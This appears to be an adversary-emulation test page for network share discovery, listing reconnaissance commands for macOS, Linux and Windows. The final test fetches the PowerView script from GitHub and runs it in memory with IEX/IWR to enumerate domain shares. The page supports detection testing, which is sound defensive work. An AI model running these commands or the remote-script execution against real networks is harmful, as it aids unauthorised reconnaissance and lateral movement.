Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) Net can be used to query a remote system for available shared drives using the
net view \\remotesystem
command. It can also be used to query shared drives on the local system usingnet share
.
Network Share Discovery
Supported Platforms: macOS
Name | Description | Type | Default Value |
---|---|---|---|
computer_name | Computer name to find a mount on. | string | computer1 |
df -aH
smbutil view -g //#{computer_name}
showmount #{computer_name}
Network Share Discovery using smbstatus
Supported Platforms: Linux
Name | Description | Type | Default Value |
---|---|---|---|
package_checker | Package checking command. Debian - dpkg -s samba | string | rpm -q samba |
package_installer | Package installer command. Debian - apt install samba | string | yum install -y samba |
smbstatus --shares
if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
sudo #{package_installer}
Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host Upon execution avalaible network shares will be displayed in the powershell session
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
computer_name | Computer name to find a mount on. | string | localhost |
net view \\#{computer_name}
Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host Upon execution, avalaible network shares will be displayed in the powershell session
Supported Platforms: Windows
get-smbshare
View information about all of the resources that are shared on the local computer Upon execution, avalaible share drives will be displayed in the powershell session
Supported Platforms: Windows
net share
Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.
Supported Platforms: Windows
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose